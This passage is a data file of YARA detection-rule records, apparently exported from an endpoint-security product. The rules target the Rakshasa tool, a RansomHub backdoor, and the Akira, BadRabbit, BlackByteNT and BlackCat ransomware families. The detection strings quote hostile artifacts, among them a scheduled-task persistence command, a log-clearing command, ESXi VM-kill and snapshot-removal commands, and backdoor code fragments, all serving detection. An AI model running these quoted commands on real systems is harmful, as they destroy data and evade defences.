97a48fc70bae6ba3d47f9261ff0872fc31b7b3ad7342053f29bea81346fe1a7e\n        // 6deb4162aed4794fe8ba2b4f68d9759207cb386afba4c32a1744f75705b3d35f\n        // 011900219bac10b4c66871e35de226d3a2bda55d1703aff135bfb6158a07ce0a\n        // 445b81086d25f3e25627236131c34f35889ae54fe4f28e8abe933fa042a9f527\n        // be33fac18a4ae3a9a0c4ced45917b5d5a031f8bbd32f205e7a53c6f570516ecd\n        // 0de6fe3c3cfcb97fb683bb316e6da49de2b01890bef199c8d5c365e865b2cd0e\n        // 4d05ab80576a8c98f549946c1c08b649697d675838778f39fe0bbdb4763e4ad3\n        // ce6b91e619018286ac50d7d1829606db86b24d9d232e10b47b5670c4b7ae3dca\n        // 613f2a2f83e7796997cb9310aee787f146cfef852758a5a84f52aed1cf9ca3aa\n\n        $string_gobuild_1 = \"Go build ID: \\\"PL4dDTRXq9TuA7dkNm1I/TZMovUVV9bRZn9bDiPCB/qfanw0E06PmrhCMiVUjp/PdaKBhXPo1-6TwFy5B4_\\\"\" ascii fullword\n        $string_gobuild_2 = \"Go build ID: \\\"-0BzbrGuCkKmc0vr4YKL/zAqk93HPEz-qbLMtEuET/KjZDtoK1zuIEAX93v4jP/jwjXucccMjNXTujS__5f\\\"\" ascii fullword\n        $string_gobuild_3 = \"Go build ID: \\\"tbMGCaTLvIG9y8kaU4te/T_AP2EOr6R8F4J7rF0W_/Z6VgNnW6YyfaQHmfgker/MDokYtJFEDd85m0ELMmN\\\"\" ascii fullword\n        $string_gobuild_4 = \"Go build ID: \\\"edXcwaWc_RlZkJ9xgjy7/v2vbKWaN_uG0LGt94xFt/DYAYAtRnUP0Ly7EXexzs/NHBtOZT420QfFHQqRokY\\\"\" ascii fullword\n        $string_gobuild_5 = \"Go build ID: \\\"IOzA3a_4-n9--x88DC7m/tQsWekHMYmhytKzw6j3p/FeK6nKBde9BQhT05Qboj/Nrw7uv2kmjjxj69mlit7\\\"\" ascii fullword\n        $string_gobuild_6 = \"Go build ID: \\\"NUOnQVxGUBU27_Bz9jCm/CQ2mL1OJDYFSe-PtfKRu/JYYLfB0ay7z-2ztCHu0V/HjRzQIx76EL0-h-8730P\\\"\" ascii fullword\n        $string_gobuild_7 = \"Go build ID: \\\"xzINQcNWBaQLzAFuDMNX/uTSU8WV3_Ki5boTP5ubq/bRh4bofxU6PtH3Mz3jRm/D_RiqSzvUsdVJ8_C_y2s\\\"\" ascii fullword\n        $string_gobuild_8 = \"Go build ID: \\\"KKj2ES1hxhNlhlaz49hW/tKIqHJ-kaSE3og1t76q2/uGwGyIA7cz5boICVd4o3/hGHlX-FEVw1-Wye08kfm\\\"\" ascii fullword\n\n        // object\n        $string_object_1 = \"rakshasa/aes.\" ascii\n        $string_object_2 = \"rakshasa/common.\" ascii\n        $string_object_3 = \"rakshasa_lite/aes.\" ascii\n        $string_object_4 = \"rakshasa_lite/common.\" ascii\n        $string_object_5 = \"rakshasa_lite/server.\" ascii\n        $string_object_6 = \"rakshasa/server.\" ascii\n\n    condition:\n        1 of ($string_gobuild_*) or 3 of ($string_object_*)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "rakshasa"
+  ],
+  "rule_creation_date": "2024-01-31",
+  "rule_modified_date": "2025-03-04",
+  "rule_os": [
+    "macos",
+    "windows",
+    "linux"
+  ],
+  "rule_classifications": [
+    "Tool.Rakshasa"
+  ],
+  "rule_tactic_tags": [
+    "attack.command_and_control"
+  ],
+  "rule_technique_tags": [
+    "attack.t1572",
+    "attack.t1071.001"
+  ],
+  "rule_score": 70,
+  "rule_context": [
+    "file.elf",
+    "memory",
+    "file.pe",
+    "process",
+    "file.macho",
+    "thread"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-ransomhub_python_backdoor_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.569520Z",
+  "creation_date": "2026-03-23T11:46:25.569523Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.569528Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.trendmicro.com/fr_fr/research/25/c/socgholishs-intrusion-techniques-facilitate-distribution-of-rans.html\nhttps://www.guidepointsecurity.com/blog/ransomhub-affiliate-leverage-python-based-backdoor/"
+  ],
+  "name": "ransomhub_python_backdoor.yar",
+  "content": "rule ransomhub_python_backdoor {\n    meta:\n        title = \"Ransomhub Python Backdoor\"\n        id = \"0a3d982e-0193-43a5-9946-011eac227ded\"\n        description = \"Detects the presence of a Python-based backdoor commonly used by the RansomHub ransomware group, which enables remote access and execution of malicious payloads\\nThis backdoor is part of their intrusion techniques facilitating ransomware deployment and persistence.\\nIt is recommended to investigate the process and its network connections to determine its legitimacy and to investigate the context around this alert to look for malicious actions.\"\n        references = \"https://www.trendmicro.com/fr_fr/research/25/c/socgholishs-intrusion-techniques-facilitate-distribution-of-rans.html\\nhttps://www.guidepointsecurity.com/blog/ransomhub-affiliate-leverage-python-based-backdoor/\"\n        date = \"2025-06-13\"\n        modified = \"2025-06-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.execution;attack.t1059.006;attack.defense_evasion;attack.t1027;attack.command_and_control;attack.t1071.001\"\n        classification = \"Windows.Backdoor.Ransomhub\"\n        context = \"memory\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // c2d99f4fabf5e19bdd42f2a78471e923cd3d082de392799406314e2978e4ba03\n        // 493a35f2dcb86aae910294bbdd51c40848e44f4f91c78f18c4d0e8f471a6cf16\n        // 6d3bc2509a73de493edf4f3e897a71add97128ba0821ea28acd34b426e85f05f\n        // 0f0db5079a9fbd760bb24ee979e2e808b2dc089c17033310838474a53a267f04\n        // 48ad4a533807c71acdf6ffbd781ea11d3c7822ff625cad4fa6cc38827f5c45d1\n\n        $obfuscate_s1 = \"from Crypto.Cipher import AES, ChaCha20\" ascii\n        $obfuscate_s2 = \"def get_hw_key():\" ascii\n        $obfuscate_s3 = \"def pc_start(enc):\" ascii\n        $obfuscate_s4 = \"if line.startswith('TracerPid:') and int(line.split()[1]) != 0:\" ascii\n        $obfuscate_s5 = \"hw_key = get_hw_key()\" ascii\n        $obfuscate_s6 = \"launch_hidden()\" ascii\n        $obfuscate_s7 = \"exec(pc_start(\" ascii\n\n        $deobfuscated_s1 = \"_K = 'AnyPassword'\" ascii\n        $deobfuscated_s2 = \"def verify_client(self):\" ascii\n        $deobfuscated_s3 = \"def start_transferring(self):\" ascii\n        $deobfuscated_s4 = \"class ControllerCommandConnection(threading.Thread):\" ascii\n        $deobfuscated_s5 = \"def CONNECT_transferring(self):\" ascii\n        $deobfuscated_s6 = \"def main(proxy_server_address, proxy_port_for_command_connection, allow_no_verifing, login, password):\" ascii\n        $deobfuscated_s7 = \"main(proxy_ip, proxy_port, _A, _J, _K)\" ascii\n\n    condition:\n        all of ($obfuscate_s*) or all of ($deobfuscated_s*)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "ransomhub_python_backdoor"
+  ],
+  "rule_creation_date": "2025-06-13",
+  "rule_modified_date": "2025-06-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Backdoor.Ransomhub"
+  ],
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.defense_evasion",
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1071.001",
+    "attack.t1059.006",
+    "attack.t1027"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "memory"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-ransomware_akira_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.589220Z",
+  "creation_date": "2026-03-23T11:46:25.589222Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.589227Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://blog.qualys.com/vulnerabilities-threat-research/2024/10/02/threat-brief-understanding-akira-ransomware\nhttps://www.cisa.gov/news-events/cybersecurity-advisories/aa24-109a"
+  ],
+  "name": "ransomware_akira.yar",
+  "content": "import \"pe\"\n\nrule akira {\n    meta:\n        title = \"Akira Ransomware\"\n        id = \"78fb13e1-cb9f-44f4-8de8-f413d37b8680\"\n        description = \"Detects Akira ransomware, a human-operated ransomware used to compromise enterprise networks by exploiting public-facing vulnerabilities (notably VPN and RDP), abusing valid credentials and phishing to gain initial access, performing credential dumping and domain discovery for privilege escalation, establishing persistence through created accounts, and using legitimate administration and tunneling tools for lateral movement and command and control.\\nAfter reconnaissance and data collection, threat actors exfiltrate sensitive information using common file transfer and cloud sync tools, employ a double-extortion model, and encrypt systems with a hybrid ChaCha20/RSA scheme while inhibiting recovery.\\nIt is recommended to  isolate the machine and investigate the context around this alert for signs of unauthorized access,discovery activity or ransomware encryption behavior.\"\n        references = \"https://blog.qualys.com/vulnerabilities-threat-research/2024/10/02/threat-brief-understanding-akira-ransomware\\nhttps://www.cisa.gov/news-events/cybersecurity-advisories/aa24-109a\"\n        date = \"2026-01-15\"\n        modified = \"2026-02-03\"\n        author = \"HarfangLab\"\n        tags = \"attack.impact;attack.t1486;attack.t1490;attack.defense_evasion;attack.t1562.001;attack.exfiltration;attack.t1567.002;attack.t1537\"\n        classification = \"Windows.Ransomware.Akira\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // fd84c9c09358e721173725d0a1eeae08cd0c6d74b2f44646552adc4b19883e90\n        // f12e00c1f9ee0e3ad6389f1f74bf4acc7c91a54948a4637b037357108f81133c\n        // f11b60b273e2606e91832edbb014ad229563f5c537ddab11dba80018c11364dd\n\n        $s_stub00 = {\n            48 8D 55 91                                //  lea     rdx, [rbp+410h+var_47F]\n            48 8D 8D 90 02 00 00                       //  lea     rcx, [rbp+410h+var_180]\n            E8 [2] 03 00                               //  call    sub_14003EE60\n            90                                         //  nop\n            C6 45 A8 00                                //  mov     [rbp+410h+var_468], 0\n            C6 45 A9 [1]                               //  mov     [rbp+410h+var_467], 15h\n            C6 45 AA [1]                               //  mov     [rbp+410h+var_466], 21h ; '!'\n            C6 45 AB [1]                               //  mov     [rbp+410h+var_465], 2Eh ; '.'\n            C6 45 AC [1]                               //  mov     [rbp+410h+var_464], 21h ; '!'\n            C6 45 AD [1]                               //  mov     [rbp+410h+var_463], 64h ; 'd'\n            C6 45 AE [1]                               //  mov     [rbp+410h+var_462], 21h ; '!'\n            C6 45 AF [1]                               //  mov     [rbp+410h+var_461], 2Eh ; '.'\n            C6 45 B0 [1]                               //  mov     [rbp+410h+var_460], 21h ; '!'\n            C6 45 B1 [1]                               //  mov     [rbp+410h+var_45F], 2Eh ; '.'\n            C6 45 B2 [1]                               //  mov     [rbp+410h+var_45E], 21h ; '!'\n            C6 45 B3 [1]                               //  mov     [rbp+410h+var_45D], 59h ; 'Y'\n            C6 45 B4 [1]                               //  mov     [rbp+410h+var_45C], 21h ; '!'\n            C6 45 B5 [1]                               //  mov     [rbp+410h+var_45B], 28h ; '('\n            C6 45 B6 [1]                               //  mov     [rbp+410h+var_45A], 21h ; '!'\n            C6 45 B7 [1]                               //  mov     [rbp+410h+var_459], 1Eh\n            C6 45 B8 [1]                               //  mov     [rbp+410h+var_458], 21h ; '!'\n            C6 45 B9 [1]                               //  mov     [rbp+410h+var_457], 28h ; '('\n            C6 45 BA [1]                               //  mov     [rbp+410h+var_456], 21h ; '!'\n            C6 45 BB [1]                               //  mov     [rbp+410h+var_455], 21h ; '!'\n            C6 45 BC [1]                               //  mov     [rbp+410h+var_454], 21h ; '!'\n            0F B6 45 A9                                //  movzx   eax, [rbp+410h+var_467]\n            0F B6 45 A8                                //  movzx   eax, [rbp+410h+var_468]\n            84 C0                                      //  test    al, al\n            75                                         //  jnz     short loc_1400026E4\n        }\n\n    condition:\n        pe.imphash() == \"f89d971f855e5743dd4d1e73a5da5699\"\n        or 1 of ($s_stub*)\n}",
+  "rule_count": 1,
+  "rule_names": [
+    "akira"
+  ],
+  "rule_creation_date": "2026-01-15",
+  "rule_modified_date": "2026-02-03",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Ransomware.Akira"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.exfiltration",
+    "attack.impact"
+  ],
+  "rule_technique_tags": [
+    "attack.t1490",
+    "attack.t1562.001",
+    "attack.t1537",
+    "attack.t1567.002",
+    "attack.t1486"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-ransomware_badrabbit_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.583272Z",
+  "creation_date": "2026-03-23T11:46:25.583274Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.583283Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/software/S0606/\nhttps://blog.talosintelligence.com/2017/10/bad-rabbit.html"
+  ],
+  "name": "ransomware_badrabbit.yar",
+  "content": "rule ransomware_badrabbit {\n    meta:\n        title = \"BadRabbit Ransomware\"\n        id = \"bea900d8-e98c-4c83-9fec-1b25d235a8f4\"\n        description = \"Detects the BadRabbit ransomware, a malicious software used during attacks targeting organizations in eastern Europe and Russia in October 2017.\\nBadRabbit is a ransomware that encrypts files and demands payment for decryption. It shares similarities with NotPetya but uses a different encryption method. The ransomware typically drops a README.html file and uses specific file naming conventions. It also attempts to spread laterally by dropping copies of itself in specific directories and using scheduled tasks for persistence.\\nIt is recommended to perform a thorough investigation of network shares and connected devices to prevent further spread.\"\n        references = \"https://attack.mitre.org/software/S0606/\\nhttps://blog.talosintelligence.com/2017/10/bad-rabbit.html\"\n        date = \"2022-02-22\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.impact;attack.t1486;attack.s0606\"\n        classification = \"Windows.Ransomware.BadRabbit\"\n        context = \"process,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample:\n        // 579fd8a0385482fb4c789561a30b09f25671e86422f40ef5cca2036b28f99648\n\n        $strings_wide1 = \"Oops! Your files have been encrypted.\" fullword wide\n        $strings_wide2 = \"%ws C:\\\\Windows\\\\%ws,#1 %ws\" fullword wide\n        $strings_wide3 = \"%wswevtutil cl %ws &\" fullword wide\n        $strings_wide4 = \"schtasks /Create /SC once /TN drogon /RU SYSTEM /TR \\\"%ws\\\" /ST %02d:%02d:00\" fullword wide\n        $strings_wide5 = \"process call create \\\"C:\\\\Windows\\\\System32\\\\rundll32.exe\" fullword wide\n\n        $hash_process = {\n            8B 55 08                                      // mov     edx, [ebp+arg_0]\n            8A 14 4A                                      // mov     dl, [edx+ecx*2]\n            8B C6                                         // mov     eax, esi\n            83 E0 03                                      // and     eax, 3\n            8D 44 05 FC                                   // lea     eax, [ebp+eax+var_4]\n            32 10                                         // xor     dl, [eax]\n            FE CA                                         // dec     dl\n            41                                            // inc     ecx\n            46                                            // inc     esi\n            88 10                                         // mov     [eax], dl\n            3B 4D 0C                                      // cmp     ecx, [ebp+arg_4]\n            72 E4                                         // jb      short loc_10007DA5\n        }\n\n    condition:\n        uint16(0) == 0x5a4d and filesize < 500KB and (\n            (4 of ($strings_wide*)) and $hash_process\n        )\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "ransomware_badrabbit"
+  ],
+  "rule_creation_date": "2022-02-22",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Ransomware.BadRabbit"
+  ],
+  "rule_tactic_tags": [
+    "attack.impact"
+  ],
+  "rule_technique_tags": [
+    "attack.t1486"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-ransomware_blackbytent_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.569021Z",
+  "creation_date": "2026-03-23T11:46:25.569024Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.569030Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://malpedia.caad.fkie.fraunhofer.de/details/win.blackbyte\nhttps://blogs.blackberry.com/en/2022/12/blackbyte-ransomware-takes-an-extra-bite-using-double-extortion-methods\nhttps://www.microsoft.com/en-us/security/blog/2023/07/06/the-five-day-job-a-blackbyte-ransomware-intrusion-case-study/"
+  ],
+  "name": "ransomware_blackbytent.yar",
+  "content": "rule ransomware_blackbytent_unpacked {\n    meta:\n        title = \"BlackByteNT Ransomware\"\n        id = \"b1e6c47f-09f4-4921-b9b1-805af8af0045\"\n        description = \"Detects the unpacked BlackByteNT ransomware.\\nBlackByteNT, also known as BlackByte 3.0, is a version of the BlackByte ransomware first seen in early 2023. This ransomware is written in C++ and is known to use vulnerable drivers to disable security products via the BYOVD technique.\"\n        references = \"https://malpedia.caad.fkie.fraunhofer.de/details/win.blackbyte\\nhttps://blogs.blackberry.com/en/2022/12/blackbyte-ransomware-takes-an-extra-bite-using-double-extortion-methods\\nhttps://www.microsoft.com/en-us/security/blog/2023/07/06/the-five-day-job-a-blackbyte-ransomware-intrusion-case-study/\"\n        date = \"2024-02-21\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.impact;attack.t1486\"\n        classification = \"Windows.Ransomware.BlackByteNT\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // 87d7caf2e0c77e2f1b2a852183903acdd52551284f7a27e8712a40a2cf6764b0\n        // d8591297cf8f7df51bc919acbca4e00d6e4f428b544778610a25e1fabc43ff32\n        // 2cd5067eabc2711c8bf7247e562eccb609d474a08c703d7b1d3b9cf771fb7231\n        // 843fb8472ed4e8848c26fc59c034a92aa66554be6a6679d1f68fe24d8b009ff3\n        // 4002ac696ed04e3d1623fb460adf70c60124c386ccccbc125900643af0a1587d\n\n        $s1 = \"/download/symbols/ntkrnlmp.pdb/\" ascii\n        $s2 = \"ransomdetect.sys,reaqtor.sys,redlight.sys\" ascii\n        $s3 = \"BLACKBYTE\" ascii fullword\n        $s4 = \".onion/\" ascii\n        $s5 = \"Your Key to access the chat: \" ascii\n\n        $x1 = {\n            8D 41 BF                    // lea     eax, [rcx-41h]\n            66 83 F8 3E                 // cmp     ax, 3Eh ; '>'\n            77 0A                       // ja      short loc_7FF6265CE3DC\n            66 83 F9 5A                 // cmp     cx, 5Ah ; 'Z'\n            77 04                       // ja      short loc_7FF6265CE3DC\n            66 83 C1 20                 // add     cx, 20h ; ' '\n        }\n\n    condition:\n        all of ($s*) or #x1 > 8\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "ransomware_blackbytent_unpacked"
+  ],
+  "rule_creation_date": "2024-02-21",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Ransomware.BlackByteNT"
+  ],
+  "rule_tactic_tags": [
+    "attack.impact"
+  ],
+  "rule_technique_tags": [
+    "attack.t1486"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-ransomware_blackcat_linux_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.564253Z",
+  "creation_date": "2026-03-23T11:46:25.564255Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.564261Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://unit42.paloaltonetworks.com/blackcat-ransomware/\nhttps://blog.talosintelligence.com/2022/03/from-blackmatter-to-blackcat-analyzing.html"
+  ],
+  "name": "ransomware_blackcat_linux.yar",
+  "content": "rule ransomware_blackcat_linux {\n    meta:\n        title = \"BlackCat Ransomware (Linux)\"\n        id = \"deb48071-00a2-4ede-a5d1-0ca239faae55\"\n        description = \"Detects the BlackCat (aka ALPHV) ransomware on Linux systems.\\nBlackCat is a Rust-based ransomware that encrypts files and executes specific commands to spread or persist.\\nIt often searches for and encrypts sensitive files.\\nIt is recommended to investigate the process tree and file system operations for suspicious activities.\"\n        references = \"https://unit42.paloaltonetworks.com/blackcat-ransomware/\\nhttps://blog.talosintelligence.com/2022/03/from-blackmatter-to-blackcat-analyzing.html\"\n        date = \"2022-03-18\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.impact;attack.t1486\"\n        classification = \"Linux.Ransomware.BlackCat\"\n        context = \"process,file.elf\"\n        os = \"Linux\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // 3a08e3bfec2db5dbece359ac9662e65361a8625a0122e68b56cd5ef3aedf8ce1\n        // f7a038f9b91c40e9d67f4168997d7d8c12c2d27cd9e36c413dd021796a24e083\n        // f8c08d00ff6e8c6adb1a93cd133b19302d0b651afd73ccb54e3b6ac6c60d99c6\n        // 5121f08cf8614a65d7a86c2f462c0694c132e2877a7f54ab7fcefd7ee5235a42\n        // e7060538ee4b48b0b975c8928c617f218703dab7aa7814ce97481596f2a78556\n        // 9802a1e8fb425ac3a7c0a7fca5a17cfcb7f3f5f0962deb29e3982f0bece95e26\n\n        // Caracteristic strings\n        $s1 = \"Starting File Unlockers\" ascii\n        $s2 = \"File is already decrypted\" ascii\n        $s3 = \"Waiting for ESXi Preparation...\" ascii\n        $s4 = \"Removing Snapshots\" ascii\n        $s5 = \"uname -r\" ascii\n        $s6 = \"esxcli --formatter=csv --format-param=fields==\\\"WorldID,DisplayName\\\" vm process list\" ascii\n        $s7 = \"vim-cmd vmsvc/snapshot.removeall\" ascii\n        $s8 = \"system(\\\"esxcli vm process kill --type=force\" ascii\n\n    condition:\n        uint32(0) == 0x464c457f and filesize < 4MB and 6 of ($s*)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "ransomware_blackcat_linux"
+  ],
+  "rule_creation_date": "2022-03-18",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "linux"
+  ],
+  "rule_classifications": [
+    "Linux.Ransomware.BlackCat"
+  ],
+  "rule_tactic_tags": [
+    "attack.impact"
+  ],
+  "rule_technique_tags": [
+    "attack.t1486"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.elf",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-ransomware_blackcat_windows_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.574430Z",
+  "creation_date": "2026-03-23T11:46:25.574432Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.574438Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://unit42.paloaltonetworks.com/blackcat-ransomware/\nhttps://blog.talosintelligence.com/2022/03/from-blackmatter-to-blackcat-analyzing.html"
+  ],
+  "name": "ransomware_blackcat_windows.yar",
+  "content": "rule ransomware_blackcat_windows {\n    meta:\n        title = \"BlackCat Windows ransomware\"\n        id = \"38e6e4df-9f7a-4635-b180-539a71575edd\"\n        description = \"Detects the BlackCat (ALPHV) ransomware on Windows systems.\\nBlackCat is a Rust-based ransomware first appearing in mid-November 2021. It primarily targets Windows systems but also has Linux variants. The ransomware uses AES encryption and employs various techniques to persist and propagate, including UAC bypass, process injection, and removal of shadow copies.\\nThis rule detects BlackCat activity through specific strings and patterns in its configuration files.\\nIt identifies behaviors such as attempting to remove shadow copies, mounting hidden partitions, and using a masquerade technique in memory.\\nThe detection also looks for characteristic strings related to its encryption and file handling processes.\\nIt is recommended to investigate the execution context and surrounding detections to assess whether the detected binary or process is linked with malicious activity. If possible, isolating the infected host during the investigation can help mitigate the risk of malicious activity.\"\n        references = \"https://unit42.paloaltonetworks.com/blackcat-ransomware/\\nhttps://blog.talosintelligence.com/2022/03/from-blackmatter-to-blackcat-analyzing.html\"\n        date = \"2022-03-18\"\n        modified = 